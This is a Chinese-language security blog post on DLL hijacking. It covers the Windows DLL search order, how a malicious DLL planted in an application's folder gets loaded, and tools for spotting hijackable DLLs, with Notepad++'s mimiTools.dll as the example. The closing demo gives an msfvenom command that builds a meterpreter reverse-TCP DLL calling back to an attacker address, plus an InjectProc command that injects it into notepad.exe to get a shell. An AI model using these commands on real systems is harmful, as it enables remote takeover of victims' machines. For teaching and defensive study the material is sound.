前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >DLL劫持注入浅析

DLL劫持注入浅析

作者头像
Al1ex
发布2024-04-19 18:52:20
700
发布2024-04-19 18:52:20
举报
文章被收录于专栏:网络安全攻防网络安全攻防
基本介绍

DLL(Dynamic Link Library,动态链接库)文件是一种包含可重用代码、数据和资源的可执行文件格式,在Windows下许多应用程序并不是一个完整的可执行文件,它们被分割成一些相对独立的动态链接库(DLL文件)放置于系统中,当我们执行某一个程序时,相应的DLL文件就会被调用,一个应用程序可使用多个DLL文件,一个DLL文件也可能被不同的应用程序使用,这样的DLL文件被称为共享DLL文件

文件加载

Windows操作系统中应用程序需要加载动态链接库(DLL)时会按照一定的顺序搜索DLL文件的目录,下面是Windows中查找DLL的目录以及对应的顺序:

  • 程序所在目录:Windows首先在应用程序所在的目录中查找所需的DLL文件,如果DLL文件存在于该目录中则Windows会直接加载该文件,示例:假设应用程序myapp.exe位于C:\myapp目录,而所需的DLL文件mylib.dll也位于同一目录中,那么在这种情况下Windows会直接加载C:\myapp\mylib.dll
  • 系统目录(System32):如果DLL文件没有在应用程序所在目录中找到,Windows会继续搜索系统目录,系统目录通常是C:\Windows\System32C:\Winnt\System32,示例:假设应用程序myapp.exe位于C:\myapp目录,而所需的DLL文件mylib.dll位于C:\Windows\System32目录中,那么在这种情况下Windows会加载C:\Windows\System32\mylib.dll
  • Windows目录(Windows):如果DLL文件没有在系统目录中找到,Windows会继续搜索Windows目录,Windows目录通常是C:\WindowsC:\Winnt,示例:假设应用程序myapp.exe位于C:\myapp目录,而所需的DLL文件mylib.dll位于C:\Windows目录中,那么在这种情况下Windows会加载C:\Windows\mylib.dll
  • 当前工作目录:如果DLL文件没有在上述目录中找到,那么Windows会搜索当前工作目录,当前工作目录是指应用程序启动时所在的目录,示例:假设应用程序myapp.exe位于C:\myapp目录,而所需的DLL文件mylib.dll位于C:\myapp\libs目录中,在这种情况下如果应用程序在C:\myapp目录中启动,Windows会加载C:\myapp\libs\mylib.dll
  • 环境变量PATH中指定的目录:如果DLL文件没有在上述位置找到,Windows会搜索系统环境变量PATH中指定的目录,示例:假设应用程序myapp.exe位于C:\myapp目录,而所需的DLL文件mylib.dll位于D:\libs目录中,如果将D:\libs添加到系统环境变量PATH中,那么无论应用程序在哪个目录中启动,Windows都会加载D:\libs\mylib.dll
劫持原理

DLL劫持是指病毒通过一些手段来劫持或者替换正常的DLL,欺骗正常程序加载预先准备好的恶意DLL的过程,如下图中的al1ex.dll是应用程序运行所需加载的DLL,该系统文件默认存放在Windows系统中的C:\Windows\system32路径下,但由于Windows优先搜索当前路径,所以当我们把恶意al1ex.dll放在应用程序同一路径下,便会被程序成功加载,从而执行恶意操作

劫持检查

我们可以使用以下方法进行劫持检查:

InjectProc

InjectProc-进程注入技术,下载地址:

https://github.com/secrary/InjectProc/releases

软件使用:

Process Explorer

在Windows系统中通过任务管理器可以管理查看电脑系统所使用的情况,包括各项进程及CPU的使用情况,还可以查看内存、网卡等使用情况,但系统自带的任务管理器功能相对不够强大,而Process Explorer则可以代替系统自带的任务管理器,它能够方便地为你管理各项程序进程

软件下载地址: https://docs.microsoft.com/en-us/sysinternals/downloads/process-explorer

运行软件之后可以看到应用程序Notepad++会加载DLL文件——mimiTools.dll

此dll文件在KnownDLLs中无法找到,所以我们可以在Notepad++.exe程序启动时可以从应用程序自身所在的目录下调用mimiTools.dll文件,我们可以通过替换改文件实现DLL劫持的目的

DLL Hijack Auditor

Dll Hijack Auditor是一款智能DLL劫持检测工具,它避免木马病毒通过劫持dll动态库文件的方式来实现自身的加载运行,可以有效的避免木马病毒劫持动态库文件

软件下载地址: http://securityxploded.com/getsoftware_direct.php?id=7777

劫持验证
  1. 启动应用程序
  2. 使用Process Explorer等类似软件查看该应用程序启动后加载的动态链接库
  3. 从该应用程序已加载的DLL列表中,查找在KnowsDLLs注册表项不存在的DLL
  4. 随后构造恶意DLL文件并劫持的DLL放到该应用程序目录下,重新启动该应用程序,检查是否劫持成功
注入演示

首先使用msfvenom生成dll

代码语言:javascript
复制
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.204.135 LPORT=4444 -f dll >mimiTools.dll

随后打开msf并开启监听

随后将生成的dll文件丢到目标主机中并打开notepad程序输入一下命令

代码语言:javascript
复制
InjectProc.exe dll_inj mimiTools.dll notepad.exe

随后在msf终端收到反弹的shell:

文末小结

本篇文章我们主要介绍了DLL劫持的基本原理以及DLL劫持的检测方式,最后我们介绍了DLL注入的方法~

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2024-04-17,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 七芒星实验室 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 基本介绍
  • 文件加载
  • 劫持原理
  • 劫持检查
    • InjectProc
      • Process Explorer
        • DLL Hijack Auditor
        • 劫持验证
        • 注入演示
        • 文末小结
        相关产品与服务
        检测工具
        域名服务检测工具(Detection Tools)提供了全面的智能化域名诊断,包括Whois、DNS生效等特性检测,同时提供SSL证书相关特性检测,保障您的域名和网站健康。
        领券
        问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档